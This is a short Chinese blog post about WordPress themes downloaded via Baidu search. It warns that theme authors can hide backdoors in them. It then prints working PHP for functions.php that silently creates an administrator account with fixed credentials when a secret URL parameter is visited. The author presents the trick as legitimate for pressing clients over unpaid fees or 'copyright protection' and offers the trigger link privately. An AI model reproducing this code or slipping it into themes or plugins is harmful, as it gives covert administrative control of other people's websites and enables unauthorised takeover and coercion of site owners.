最近很多朋友问我百度搜索的模板能不能用?能用,但是有风险!因为为模板添加一个后门很简单,这里所谓的后门就是通过在模板函数文件中添加一段代码,然后通过一段隐秘的链接尽快就可以设置管理员账号进入网站后台。
以下既是一段简单的后门代码:
- add_action('wp_head', 'holeinthewall');
- function holeinthewall() {
- If ($_GET['backdoor'] == 'go') {
- require('wp-includes/registration.php');
- If (!username_exists('username')) {
- $user_id = wp_create_user('username', 'password');
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
- }
模板制作者只要把这段代码放置到模板函数文件functions.php文件中,然后通过一个隐秘的链接就可以创建一个用户名为“username”,密码为:“password” 的管理员账号,从而进入网站后台为所欲为。
说明:因为这种方式仅可以使用到接单追款和版权保护,所以不再分享隐秘链接,如有特殊需要请联系我的个人微信号(xiaochuanblog)索要。